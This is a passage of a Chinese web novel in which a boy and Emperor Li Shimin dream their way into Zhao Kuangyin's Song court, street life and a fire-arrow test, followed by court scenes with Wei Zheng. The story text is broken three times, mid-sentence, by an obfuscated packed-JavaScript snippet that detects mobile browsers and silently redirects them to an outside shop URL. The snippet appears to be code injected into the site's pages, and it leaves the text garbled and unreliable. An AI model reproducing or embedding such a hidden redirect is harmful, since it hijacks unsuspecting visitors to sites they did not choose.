宫里来了位仙长与一孩童,暂居凝云轩,此事虽未张扬,但李淳风身为将仕郎,在太史局供职,掌天文历法,对宫中气运流转最为敏感,早有耳闻,只是未曾得暇亲眼一见。 今日这孩童闯入,观其气息纯净剔透,不染尘浊,与传闻隐隐相符。 “嗯!”景颐点头,毫不设防,“我跟我师父住那儿!伯伯你怎么知道?” “猜的。”李淳风笑得高深莫测,心中却想,果然是他。他顺势问道,“令师近日可好?听闻是位雅擅音律的高人。” “我师父可厉害了!”提到师父,景颐立刻眉飞色舞,“他会弹很好听的琴!还能嗖一下飞好远!伯伯你也懂音乐吗?” “略知一二,不及令师。”李淳风谦道,目光却未离开景颐。 他越看越觉惊奇,此子周身气韵圆融活泼,生机勃勃,与天地自然隐隐相合,绝非修行所得,倒像是天生地养、本该如此的灵秀之姿。这等资质,万中无一。 “小友平日除了听琴,还做些什么?”李淳风引着他在院中石凳坐下,随口问道。 “玩儿!” 景颐答得理直气壮,“跟丽质阿姊踢毽子,陪雉奴看蚂蚁,有时候听李叔叔讲故事,有时候……嗯,有时候会做梦,梦到奇奇怪怪的地方和事儿。” 他想起上次梦到黑胡子爷爷念诗,还有点兴奋。 梦?李淳风心中微动。 常人做梦,不过是日有所思。但这孩子口中的“梦”,结合他的来历,恐怕没那么简单。 他忽然起了兴致,从袖中取出三枚温润的白色河图石,在石桌上随意摆成一个三角形。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116659|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“小友可能看出,这三枚石子,有何关联?”他含笑问道,想看看这孩子直觉如何。 景颐趴在石桌边,托着腮,盯着石子看了半晌,摇摇头:“就是三个白点点呀。” 但他看着看着,忽然伸出手,把其中一枚往旁边推了推,让三枚石子不再成等边三角,而是一个歪歪的钝角三角形。 “这样好像……顺眼一点?”他歪着头说。 李淳风眼中亮光一闪! 这看似孩童随意的举动,竟无意中暗合了今日他演算某个天象数据时,一组略显失衡但更具动态可能性的排列。 此子灵觉之敏锐,对势与衡有天生的直觉。 “有趣,有趣。”李淳风抚须轻笑,将石子收回,“小友觉得顺眼,那便是好的。” 景颐被他夸得有点不好意思,嘿嘿笑了。他觉得这个星星伯伯真不错,说话温和,不嫌他问题多,也不像有些大人总想摸他头。 这时,一阵秋风吹过,柏叶沙沙作响,也把李淳风放在旁边石案上的一卷星图草稿吹开了几页。景颐眼尖,看到上面画着许多弯弯曲曲的线和小点。 “伯伯,这是什么?画画吗?” “此乃星轨推算草图。”李淳风拿起那卷纸,指着一处解释道,“譬如这颗星,据古记载,应循此道而行。然近来观测,其轨迹似有极细微的偏斜……” 他说着,下意识地用指尖沿着一条虚拟的弧线滑动。 景颐看着他的手指移动,眨了眨眼,忽然道:“伯伯,你的手指,好像我师父调琴弦哦。有时候琴弦松了,声音就会偏一点点,师父就要这样慢慢地、稳稳地把它拧回来。” 李淳风手指一顿,愕然看向景颐。 将星轨偏移比作琴弦松紧? 这比喻乍听稚嫩,细思却玄妙。星辰运行自有其律,如同音律。若有外力扰动或自身周期变化,确如琴弦松紧,需微妙调整方能复归和谐。 这孩子竟能以音律通感天象? 他再次深深看了景颐一眼,心中对那位素未谋面的凝云轩仙长升起了极大的好奇。 能教出这样的弟子,其本人,恐怕不止是擅音律那么简单。或许,该寻个时机,正式拜会一番。 “小友这个比喻,甚妙。”李淳风真心赞道,“令师调音定弦之能,想必已臻化境。不知某是否有幸,他日聆听仙音?” “等我师父回来,我跟他说!”景颐很乐意帮这个友好的伯伯牵线,“师父有时候会弹琴给李叔叔听,可好听了!伯伯你来,肯定也能听!” 两人又闲聊片刻,景颐问了无数关于星星的问题,从“星星会不会眨眼”到“流星是不是星星太累了掉下来”,李淳风皆耐心解答,不时被孩子的奇思妙想逗得莞尔。 日头渐渐西斜,将院中树影拉得老长。 景颐想起该回去吃点心,也许还能赶上立政殿新做的桂花糕,便跳下石凳:“星星伯伯,我走啦!明天要是没事,我还来找你玩!” “好。”李淳风起身相送,温言道,“司天台随时欢迎小友。不过下次来,莫要再想着用头撞浑天仪了,它年纪大,不禁撞。” 景颐脸一红,吐了吐舌头,挥挥手,像只快乐的小鹿般蹦跳着跑出了院子。 李淳风站在门口,目送那活泼的身影消失在宫墙拐角,脸上温和的笑意渐渐沉淀为深邃的思索。 他回到院中,重新展开那卷星图,目光落在被景颐无意修正过的石子位置所对应的那片星域。 “凝云轩仙长……”他低声自语,“琴音可调弦,或许亦可调气?这长安城的气运涟漪,近日确有几分不同寻常的律动。看来,非得亲自去拜会一下这位邻居不可了。” 他抬头,望向澄澈的秋日晴空。天际尽头,一道极淡的、唯有他这般常年观星之人方能察觉的微妙光华,正随着日暮,悄然浮现。 23.第 23 章 九月末,一场秋雨落得绵长。雨水洗去了长安最后的燥热,空气里浸满了清冽的草木气息。凝云轩的廊檐下,雨滴串成珠帘。 景颐趴在窗前,伸出小手去接冰凉的雨水,百无聊赖。 师父前日又走了,说是去终南山深处访一处古琴遗迹,归期不定。丽质染了秋咳,被皇后拘在立政殿休养,李治也蔫蔫的陪在姐姐身边。偌大的宫廷,一下子显得空落落。 李世民处理完午后的几件急务,见雨势稍歇,便命人将景颐唤到了甘露殿偏殿。殿内燃着淡淡的龙涎香,驱散潮气。 他见孩子有些没精打采,便招手让他近前,指着一幅刚挂起来的、墨迹未干的水墨画:“看看,阎立本新作的,比上次那幅如何?” 景颐对画懂什么?只觉得山黑黢黢,云白茫茫,小人儿还没蚂蚁大。 他瘪瘪嘴,老实地摇头:“看不懂。” 目光却被李世民书案一角,一枚新得的、天然生有火焰纹的鸡血石镇纸吸引,那赤红流转的光泽,比画好看多了。 李世民见他兴致不高,无奈摇头,也不再谈画,随手拿起一本昨日与房玄龄等人议过的、关于军器监弩机改良的条陈,沉吟着。 如何能让军械更利,震慑更强,又不至于使边将因器而骄?这其中的平衡,颇费思量。他无意识地摩挲着那枚温润的鸡血石镇纸,指尖传来微热的触感,思绪却飘向了更远处。 景颐凑了过来,见李叔叔盯着镇纸出神,便也伸出小手,好奇地摸了摸那火焰纹。石头暖暖的,纹路在指下滑过,有点痒。 就在两人指尖一同触碰到镇纸上最浓烈的那抹赤红时,意识一同坠入黑暗。 没有之前的眩晕坠落感,这一次,感觉像是被一股温暖而敦实的气流包裹着,轻轻向前一送。眼前殿内的景象如水波荡漾,迅速模糊、褪色。 耳边先听到的,是极其洪亮、穿透力极强的报晓钟声,紧接着是密集的、如同暴雨敲打屋瓦般的脚步声和低语声。天光尚未大亮,一片鱼肚白的朦胧。 脚下一实,两人半透明的身影,已站在一处极其开阔、由巨大青石板铺就的广场边缘。 广场前方,是巍峨耸立、形制与大唐宫殿迥异的宫阙,斗拱宏大,鸱吻狰狞,在黎明前的微光中显得格外森严。 广场上,黑压压站满了身着各色官袍的官员,文左武右,排列得密密麻麻,怕不下数百人。所有人皆屏息静气,垂首肃立。寒风料峭,吹得人袍袖翻飞。 “这又是何处朝会?竟如此早?”李世民心中惊异。他大唐常朝也没这般早,且人数似更多,规制更严整。 景颐则被这阵仗吓了一小跳,缩在李世民身边,小声道:“好多人,都不说话,像木头。” 就在这时,前方宫门缓缓洞开。一名宦官打扮的人尖着嗓子高喊:“百官——入朝——” 官员队伍开始如潮水般,无声而有序地向前移动。李世民与景颐被这人流裹挟着,也向前飘去。 穿过重重宫门,最终进入一座大殿。殿内灯火通明,照得如同白昼。官员们按品级跪坐于席,寂静无声。 御阶之上,龙椅之中,坐着一个人。 李世民定睛看去,不由一怔。 那是一位约莫四十出头的中年男子,生得……颇为富态。面庞圆润,皮肤黝黑,留着短须,一双眼睛不算大,却极有神,开阖之间精光隐现。 他头戴展角幞头,身着赭黄圆领常服,身材敦实,坐在那里,不怒自威,有一种更为内敛、沉稳、仿佛山岳般不可撼动的厚重感。 尤其让李世民侧目的是,这位皇帝似乎精神头极好。这么早的朝会,他眼中毫无倦色,反而透着一种锐利的清明,目光缓缓扫过殿下群臣,仿佛能将每个人的心思都看透几分。 “这皇帝,倒像个军中悍卒出身,却又多了几分城府。”李世民暗忖。 景颐也看到了龙椅上的人,眨巴眨巴眼,忽然“咦”了一声,扯扯李世民的袖子,用极低的气音说:“李叔叔,这个黑胖子叔叔说话的口音,我好像在哪听过,有点点像、像我爹上次说话的那个调调!” 他努力回忆亲爹那夹杂着天南海北口音,觉得隐约有点相似,但又说不真切。 李世民闻言,心中微动。景颐那神秘的父亲…… 此时,朝会开始。有官员出列奏事,内容多是淮南粮赋、川蜀盐政、北边契丹动向等。 龙椅上的黑胖皇帝听得极其认真,不时发问,问题往往切中要害,言语简洁,却带着一种不容置疑的决断力。他说话的口音,确实与长安官话略有不同,更硬朗直白些。 李世民越听越是赞叹。此君理政,条理清晰,务实至极,且对财政、军事细节把控极严,与崇尚恢弘气度、更重战略方向的自己风格迥异,却另有一种可怕的效率。 冗长的朝会终于结束。官员们鱼贯退出。那黑胖皇帝也站起身,活动了一下脖颈,对身旁近侍说了句什么,竟径直向后殿走去。 “跟上去看看。”李世民低声道。他对这位气质独特的帝王产生了浓厚兴趣。 两人跟着皇帝,七拐八绕,竟从一处侧门出了宫城。皇帝换了身更普通的短褐,戴了顶遮阳的笠子,大摇大摆地走进了清晨刚刚苏醒的汴梁街市。 此时天光已大亮。街市逐渐热闹起来。卖炊饼的、挑菜担的、吆喝浆洗的、赶着驴车运货的……人来人往。李世民仔细观察,眉头却微微蹙起。 这里的市井,与他之前梦见的市井繁华从容不同,也与大唐长安的自信开放有异。百姓衣着大多朴素,甚至有些破旧,面色大多带着劳作的疲惫与一种难以言说的警惕。 街面还算整洁,但建筑物不少显得低矮陈旧,仿佛刚经历过大修整,却尚未恢复元气。人们的眼神里,少了些盛世的张扬,多了些乱世遗存的警觉与务实。 “此地百姓,气象为何如此?”李世民心中疑惑,“这朝廷规制严整,皇帝精明强干,何以市井间却似有未纾之困?” 景颐可没想那么多,他一出宫就被市井的烟火气吸引了。尤其是看到那黑胖皇帝熟门熟路地走到一个早点摊前,一屁股坐在条凳上,拍出几文钱,豪气道:“老陈,两碗胡辣汤!再来四个油馍头!” “好嘞!赵大哥您稍坐!”摊主是个满脸褶子的老汉,显然与这赵大哥极熟,手脚麻利地盛汤。 很快,两碗热气腾腾、浓稠喷香、飘着厚厚一层糊葱花、内里还有面筋、豆皮等物的汤羹端了上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122622|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,配着炸得金黄酥脆的油馍头。 那赵大哥——赵匡胤,也不嫌烫,稀里呼噜喝得山响,额角很快见了汗,嘴里还含糊地跟摊主唠着家常,问最近生意如何,有没有泼皮滋事,官吏可还公道。 景颐趴在桌子上,眼睛都直了! 那汤看着又浓又香,还有炸得脆生生的馍头!他这几天在宫里吃得清淡,此刻被这强烈的市井香气一冲,口水差点流出来,小肚子不争气地“咕噜”叫了一声。 他扯着李世民衣角,眼巴巴地说:“李叔叔,那个汤看着好好吃!这个黑胖子叔叔吃得好香!” 李世民也被这皇帝亲民、毫无架子的做派惊了一下,随即又被那从未见过的胡辣汤吸引了目光,闻着是挺香辣扑鼻。 他察觉身边动静,一低头,看见景颐那副馋猫模样,差点失笑,这孩子…… 他正要伸手将这小馋虫拉回来,免得他“掉”进人家碗里。 正低头喝汤的赵匡胤,端着碗的手几不可察地微微一顿。 紧接着,他猛然抬起了头! 那双原本带着满足惬意、与摊主闲话家常时随和的眼睛,在抬起的瞬间,骤然变得锐利如鹰隼。 他的目光精准地、带着疑惑和本能的警觉,直直射向李世民和景颐所在的、本应空无一物的虚空方位。 一瞬间,李世民甚至感到一股无形的、久经沙场锤炼出的敏锐直觉混合着帝王特有的警觉气场,如同利刃,刺破了梦境的隔膜,几乎要钉在他身上! 此人竟能察觉?! 李世民心中剧震,一手迅速将景颐拉至身后,另一手放在了腰间的佩剑上,屏住呼吸,连自身半透明的梦影都仿佛凝滞了一瞬。 景颐也被这突如其来的凌厉目光吓了一跳,缩了缩脖子,躲在李世民身后,不敢再往前凑。 赵匡胤的目光在那片虚空停留了大约两三息。他眉头微蹙,黝黑的脸上掠过一丝极淡的困惑,仿佛在确认什么,又仿佛只是觉得那里有阵风不对。他甚至还微微偏了偏头,侧耳细听。 但终究,他什么也没看见,什么也没听见。只有清晨的微风拂过街面,卷起几片落叶。 “……错觉?”赵匡胤低声嘟囔了一句,摇了摇头,似乎觉得自己一大早出来,怕是还没完全清醒。 他脸上那慑人的锐利迅速消退,又重新变回了那个豪爽吃汤的赵大哥,笑了笑,低下头,继续稀里呼噜对付他那碗胡辣汤,仿佛刚才那凌厉的一瞥从未发生过。 李世民直到这时,才缓缓松开了紧握手剑柄的手,心中惊涛骇浪稍平。他深深地看了一眼那个埋头喝汤的黑胖身影,眼神里充满了前所未有的凝重与审视。 此人绝非仅凭武力得天下。这份于市井嘈杂当前时仍能保持着敏锐的直觉与警觉,这份收放自如的凌厉,是个极厉害、极难对付的人物。 李世民心中对这位“赵大哥”的评价,陡然又拔高了几分,甚至生出了一丝棋逢对手般的兴奋。 景颐则完全不明白发生了什么,只觉得黑胖子叔叔刚才眼神好吓人,现在又没事了。 他心有余悸地拍拍小胸口,再不敢往前凑,但还是忍不住小声抱怨:“……吓我一跳,汤都不香了……” 24.第 24 章 赵匡胤很快吃完,抹了把嘴,又跟摊主闲扯几句,这才起身,背着手,继续在街市上溜达。 他时不时停下,跟卖菜的老农聊聊收成,跟铁匠铺的师傅问问生意,甚至还在一个卖儿童玩具的摊前,拿起个拨浪鼓摇了摇,咧嘴笑了笑。 百姓见了他,都笑着打招呼,态度亲切自然,显然真把他当成个豪爽的富户或小吏,浑然不知这便是当今天子。 李世民默默看着,心中五味杂陈。此等君王,与民无间,洞察下情,固然是优点。但观此市井风貌,民生似仍艰涩,此人肩头担子,恐怕不轻。 逛了约莫半个时辰,赵匡胤才心满意足地往回走,却不是回宫,而是拐进了皇城附近一处戒备明显森严、挂着“军器监”牌匾的院落。 院落深处,一片空地上,早已有数名官员和工匠等候。见赵匡胤进来,连忙行礼。 一名穿着绿袍、面容精干、眼神里透着兴奋的官员上前一步,躬身道:“陛下,匠作监冯继升,奉旨研制火箭新法,今日已成,特请陛下御览!” 赵匡胤眼睛一亮,挥挥手:“快!让俺瞧瞧!” 冯继升领命,示意手下工匠准备。只见两名工匠小心翼翼地从一旁木箱中,取出一支形制特异的箭。 箭杆比寻常箭矢粗一些,箭簇后方,紧紧绑缚着一个粗如儿臂、长约半尺的厚纸筒,纸筒尾部露出一截寸许长的药捻,箭尾的羽毛也经过特殊加固。 空地另一端,百步之外,立着一个裹着厚皮革的木靶。 工匠将箭搭在一张特制的强弓上,另一人用火折点燃药捻。 “嗤——” 药捻急速燃烧,冒出白烟。 “放!” 弓弦响处,箭矢离弦! 但它的速度,远超寻常箭矢!如同一道黑影,尾部拖曳着炽烈的橙红色火焰和滚滚浓烟,发出一种尖锐的的“咻——呜——”破空声,划过空地,以肉眼几乎难以捕捉的速度,直扑木靶! 就在箭矢即将命中靶心的刹那, “轰!!!” 一声沉闷如夏日远雷、却又近在咫尺的巨响猛然炸开! 那木靶被一团骤然爆开的火球整个吞没。烈焰腾起数尺,皮革焦裂,木屑纷飞,浓烟裹着刺鼻的硝磺气味弥漫开来。 巨大的声浪和气浪,甚至让远处旁观的人群都感到面部一热,不由自主后退半步。 空地上一片寂静,唯有靶子燃烧的噼啪声和弥漫的硝烟。 赵匡胤猛地瞪大了眼睛,黝黑的脸上先是极度的震惊,随即化为狂喜,忍不住大步上前,盯着那燃烧的残靶,抚掌大笑:“好!好个火箭!声若霹雳,疾如流星,爆裂如火!冯卿,大功一件!” 冯继升与工匠们亦是满面红光,激动不已。 而旁观者的李世民,此刻心中已掀起滔天巨浪! 他一眼不眨地盯着那兀自燃烧、已彻底毁坏的木靶,盯着空中尚未散尽的硝烟,耳中似乎还在回荡那雷霆般的爆响。 作为统帅千军万马的帝王,他瞬间就明白了这意味着什么!超远的射程,惊人的速度,尤其是最后那一下爆裂的威力。 若将此物用于战场,用于守城,用于震慑,其效果,简直不可想象! 他感到自己的心跳在加速,血液在奔涌,那是一种混合着震撼、以及难以抑制的渴望。 景颐的反应则直接得多。他被那突如其来的巨响和火光吓得“嗷”一嗓子,差点跳起来,下意识就往李世民身后躲。 但害怕过后,看着那燃烧的靶子和空中消散的烟迹,孩子的好奇心又占了上风。他探出小脑袋,眼睛瞪得溜圆,指着那边,声音因兴奋而有些发颤:“李、李叔叔!你看!箭会叫!还会放火!像小喷火龙!好厉害!比爆竹响多了!” 他还记得前些日子西市新铺开张时放的爆竹,可跟这个比起来,简直是蚊子和打雷的区别。 “喷火龙……”李世民喃喃重复,目光依旧死死锁在那边。赵匡胤已经开始详细询问冯继升关于火药配比、制作难点、储存安危等问题,言辞间极为务实,显然已在思考如何将其真正转化为军力。 或许是这番火器演示蕴含的能量与意念太过强烈集中,或许是景颐初次接触如此爆裂的未来器物刺激了灵觉,梦境变得有些不稳。 就在这时,梦境开始波动。 眼前的景象——兴奋的赵匡胤、燃烧的靶子、弥漫的硝烟,开始扭曲、拉长,如同水面倒影被石子打乱。 “哎?怎么又要没了?”景颐不满地嘟囔,他还想再看看那“小喷火龙”呢。 李世民亦是一惊,他还有太多细节想问,想看清那纸筒里的药粉究竟是何模样。 但来不及了。 光影彻底碎裂。 甘露殿偏殿。 李世民睁开眼,胸膛微微起伏,额角竟有薄汗。窗外秋雨不知何时已停,夕阳的余晖透过窗棂,在光洁的金砖上投下长长的、温暖的光斑。 他第一时间看向身旁。 景颐也醒了,正揉着眼睛坐起来,小脸上还残留着梦中的兴奋与一丝未散的惊吓。 他抬头,看见李世民,立刻迫不及待地分享:“李叔叔!我们又做梦了!去了一个好早好早就要上朝的地方!那个黑胖子叔叔还去吃香香的汤!然后我们还看到会叫会喷火的箭!砰!好大声!靶子都烧没了!” 孩子手舞足蹈地比划着,试图重现那火箭发射的场景,小嘴“咻——砰!”地配着音,眼睛亮晶晶的。 李世民没有立刻说话。他伸出手,缓缓握住了书案上那枚鸡血石镇纸。石头依旧温润,火焰纹在夕照下仿佛真的在流动、燃烧。 喷火的箭,声若霹雳,爆裂如火…… 赵匡胤那张务实而锐利的面孔,冯继升激动的神情,街市百姓疲惫中带着期望的眼神…… 还有那震撼人心的、橘红色的爆裂火球,在他脑中交织、碰撞。 “是啊……”李世民终于开口,声音有些沙哑,他轻轻摩挲着镇纸上的火焰纹,目光投向窗外渐沉的暮色,仿佛要穿透宫墙,望向不可知的未来,“看到了一种很不一样的东西。” 他的眼神深邃,那里有震撼后的余悸,有帝王本能的警觉,更有一种深沉而炽热的思索。 夜幕降临,景颐被嬷嬷带回立政殿用晚膳。 长孙皇后正亲自照看着李治用一小碗鸡茸粥,丽质小口吃着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128800|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜂蜜蒸梨,脸色已好了许多。 景颐则坐在小案后,面对一碟子精致的玉露团和一碗香滑的乳酪,却有些心不在焉,小眼神飘忽。 他脑子里还满满都是白日里那场奇梦,黑胖皇帝“呼噜呼噜”喝的那碗热气腾腾、香味霸道的汤! “大姐姐,”景颐终于忍不住,放下小银匙,蹭到长孙皇后身边,仰着小脸,眼睛亮晶晶地开始描述,“我今天……嗯,做了个梦!梦里有个黑黑的、胖胖的、很和气的大叔叔,他喝了一种汤,可香可香了!” 长孙皇后温柔地将他揽到身边,拭去他嘴角一点乳酪渍:“哦?是什么样的汤,让我们的景颐这般惦记?” “是那种……”景颐努力组织语言,小手比划着,“稠稠的!像糊糊,但是是汤!里面有、有软软的面疙瘩,还有薄薄的豆皮,好多东西!闻起来……嗯,有点冲鼻子,但是特别香!好像有胡椒的味道,还有……还有别的,我说不上来,反正喝了身上暖烘烘的!” 他想起赵匡胤喝完汤额角冒汗的样子,补充道,“那个大叔叔喝得可快了,呼噜呼噜的,喝完还擦汗,说‘痛快’!” 他描述得绘声绘色,小脸上满是向往,仿佛那碗汤的香气已经钻进了他的鼻子。 旁边的李治本来正乖乖吃粥,听到景颐说得这么热闹,也竖起了小耳朵,尤其听到“香香的”、“稠稠的”、“喝了暖和”,再看看自己眼前粥,顿时觉得不香了。 他扭着小身子,冲着长孙皇后撒娇:“雉奴也要香香汤!呼噜呼噜!” 丽质也好奇地望过来,她病中口淡,听着也觉得有些开胃。 长孙皇后被孩子们逗笑了,但心中却是一动。景颐这孩子,描述吃食向来直接,很少如此具体地形容一种他显然没在宫中吃过的东西,连胡椒、面筋这些细节都出来了。 这梦境,怕是又不寻常。 她不动声色,柔声应道:“景颐梦里的汤,听着倒像是民间的一种暖身羹汤,多用胡椒、茱萸等辛料,辅以面筋、豆皮等物熬煮,秋寒时饮用最是驱寒。宫中倒是不常见此等粗犷吃法。” “不粗犷!好喝!”景颐立刻反驳,小脑袋摇得像拨浪鼓,“那个黑胖子叔叔是……是很大的官呢!他都爱喝!” 他差点说漏嘴,赶紧咬住舌头。 “雉奴也要喝!暖烘烘!”李治趴在长孙皇后腿上,眼巴巴地看着母后。 长孙皇后无奈,笑着轻点景颐和李治的额头:“你呀,做个梦倒把弟弟的馋虫也勾出来了。好,明日母后让尚食局试着做做看,看能否还原我们景颐梦里的神仙汤。” “好耶!”景颐高兴了,仿佛已经喝到了那碗让他魂牵梦萦的热汤。 李治也跟着咯咯笑,拍着小手。 长孙皇后看着孩子们纯真的笑脸,目光却在景颐兴奋的小脸上多停留了一瞬。 这孩子,总能梦见些稀奇古怪却又莫名真切的东西。 她心中微叹,面上笑容却越发温柔,将一块更软烂的玉露团放到景颐碟中:“先把这个吃了。梦里的汤,明日便有了。” 安抚好几个小馋猫,待他们睡下后,长孙皇后才缓步走到窗边。 夜空澄净,星子疏朗。 25.第 25 章 时间悄然滑入十月。关中秋意渐渐转寒,晨起时阶下覆着薄薄的白霜,庭中银杏满树金黄,风过时簌簌如雨。 自那日火箭之梦后,又过了些平静时日。太常寺与太医署的博士们已领了整理火法典籍的差事,在皇城一隅辟了间静室,终日与故纸堆为伴,偶尔有呛人的硝磺气味飘出,也被解释为试验古方。将作监递上来的匠人名录,厚厚一叠,静静躺在李世民书房的密匣中。 长琴自上次从终南山归来后,又匆匆离去,这次连明确的归期都未留下,只托一只偶然飞入宫苑的、羽毛带着流云纹的翠鸟,给景颐捎了句口信:“地脉有异动,需往极西一行。勿念,琴音不绝。” 景颐戳了戳翠鸟的羽毛,鸟儿啾鸣一声,振翅消失在秋雨迷蒙的天空。孩子抱着膝盖坐在廊下,看着雨水在青石板上溅起一个个小水泡,第一次清晰地感觉到“想念”是种什么滋味,心里空落落的,连最爱的蜜渍樱桃都觉得没那么甜了。 于是,他往两仪殿和立政殿跑得更勤了。长孙皇后总是温柔地摸着他的头,给他念书、教他认简单的字、或者只是让他挨着自己,看宫女们织绣秋冬的衣裳。 而李世民若在殿中处理政务,只要不是极紧要的机密时刻,也多半会允他在偏殿玩耍,甚至偶尔批阅奏章累了,会将他唤到身边,考教几个字,或随口讲一段浅显的史事。 这日午后,秋雨暂歇,天色依旧阴沉。政事堂内,李世民正与几位重臣商议今冬北边突厥可能出现的骚扰及应对之策,以及来年春耕前几处水利工程的优先次序。 房玄龄手持一份舆图,指着朔方一带,声音平缓却条理清晰:“……李绩将军呈报,今秋草原水草丰茂,薛延陀各部牲畜膘肥,然其内部为争草场已有数次械斗。臣恐其内部矛盾或会外溢,以劫掠边镇转移视线。当令并、代诸州加强戒备,斥候前出……” 长孙无忌则更关心钱粮:“若增派游骑斥候,并加固几处关键戍堡,所需钱帛约在……加之明岁春耕前,郑白渠的疏浚乃是重中之重,关中百万人口仰赖于此,工料、民夫之费,需及早筹措……” 魏征坐在下首,面色沉静,待二人说完,才开口:“陛下,北边防备固不可松,然臣闻今岁河东、河南亦有数州奏报秋粮因雨减产。民以食为天,边境之防,终需内地粮秣支撑。臣以为,当严令各州县,核查仓廪,平抑粮价,预防奸商囤积居奇,此乃安内攘外之根本。” 李世民听得专注,时而点头,时而蹙眉沉思,手指无意识地摩挲着腰间玉佩。堂内炭火毕剥,茶香袅袅,混合着纸张与墨汁的气息。 而在仅一墙之隔的偏殿里,气氛则截然不同。 景颐原本在宽敞的偏殿里,试图用李世民给他的一套小巧的木制战车模型和几个陶俑,重演李叔叔前几天给他讲的“霍去病奔袭匈奴”的故事。 可他摆弄了一会儿,就觉得眼皮发沉。雨日午后特有的、带着潮气的暖意从半开的窗棂渗进来,混合着不远处政事堂隐约传来的、低沉而平稳的议论声,如同最好的催眠曲。 他打了个大大的哈欠,抱着一个充当霍去病的陶俑,蜷缩在铺着厚厚绒毯的坐榻角落里,脑袋一点一点,很快便沉入了带着木头清香的梦乡。 梦里,他的小木马好像真的跑了起来,哒哒哒,穿过好高的草…… 不知过了多久,政事堂内的议论声渐息。几条重要的方略大致议定,具体细则还需各部回去细化。 李世民揉了揉眉心,端起微凉的茶盏饮了一口,忽然想起什么,对侍立一旁的王德低声道:“去偏殿看看,景颐是否还在玩?若是睡了,轻声唤醒他,免得睡久了夜里走了困。” 王德领命而去,片刻后回转,面带一丝无奈的笑意,低声道:“大家,小郎君抱着个陶俑,睡得正香呢。” 李世民失笑,对正要起身告退的几位大臣道:“诸卿稍待,将那贪睡的小儿唤来,醒醒神。不然回去皇后又要说他。” 语气里带着长辈对顽童的无奈与纵容。 房玄龄与长孙无忌皆微微一笑。魏征眉头几不可察地动了一下,似乎觉得陛下对这孩子宠溺稍过,但终究没说什么。 不多时,睡得迷迷糊糊、头发还有一绺翘着的景颐,被宫人轻轻牵着手,带进了政事堂。孩子显然还没完全清醒,揉着眼睛,深褐色的眸子蒙着一层水光,怀里还下意识地抱着那个霍去病陶俑。 “李叔叔……”软糯的声音带着刚醒的含糊,礼身子还有点晃。 李世民招手让他近前,顺手替他理了理翘起的头发,“睡得可好?梦里可追上匈奴了?” 景颐摇摇头,老实地回答:“马跑着跑着就没了。” 他这时才看清堂内还有好几位严肃的伯伯,立刻站直了些,好奇地打量。房伯伯他是认得的,常来凝云轩和李叔叔说话,总是笑眯眯的。 长孙舅舅也见过几次,很和气。但那位留着长胡子、面容特别严肃、眼神清亮的伯伯,他看着有点陌生,也有点让人不由自主想站得更直。 李世民笑道:“来,见过几位伯伯。这是房相,这是你长孙舅舅,这位是魏大夫。” 景颐乖乖地依次行礼:“房伯伯好,舅舅好,魏伯伯好。” 房玄龄含笑点头,温声道:“小郎君近日可还习字?” 他知道皇后在教这孩子认字。 “嗯!”景颐点头,有点小骄傲,“认到‘云腾致雨,露结为霜’了!大姐姐说,露结为霜就是早上起来,草叶上有白白的东西,凉凉的!” “哦?”长孙无忌也来了兴趣,故意逗他,“那若是没有草叶,这霜会结在何处?” 景颐被问住了,皱着眉想了想,不确定地说:“嗯……结在石头?或者房顶上?” 他想起早上起来,凝云轩的瓦上有时也是白白的。 孩子认真的模样让房玄龄和长孙无忌都笑了起来,连一向严肃的魏征,嘴角也微微松动了一下。 李世民见气氛轻松,便对魏征道:“玄成,你素来直言。不妨也考考这孩子,看他可能答出些有趣的。” 魏征闻言,看向景颐。他目光清明,没有问圣贤大道理,而是略微沉吟,问了一个看似简单的问题:“若你有一块极甜的饴糖,与三五好友同游,你会如何分食?” 问题出口,房玄龄和长孙无忌都略感意外,这问题似乎太简单了些,不似魏征风格。 景颐却认真思考起来,他想起在流云境时,师父给的仙果,还有和丽质、雉奴分点心的时候。 “如果只有一块,” 他慢慢地说,小手比划着,“那就……大家轮流舔一下?或者,找个干净石头砸开,虽然会碎,但每个人都能吃到一点点。” 他顿了顿,又补充道,“不过最好还是再去找找,说不定还有呢!或者,我少吃一点,让给最小的那个,因为我还吃过别的。” 魏征静静地听着,脸上没什么表情,目光却落在景颐清澈见底的眼睛上。 半晌,他缓缓道:“轮流舔食,虽不雅,却得均;砸碎分之,虽形损,却得公;先让幼小,虽己亏,却得仁。小郎君心思纯正。” 这评价出自以严苛著称的魏征之口,已是极高的赞誉。李世民都有些意外,眼中笑意更深。 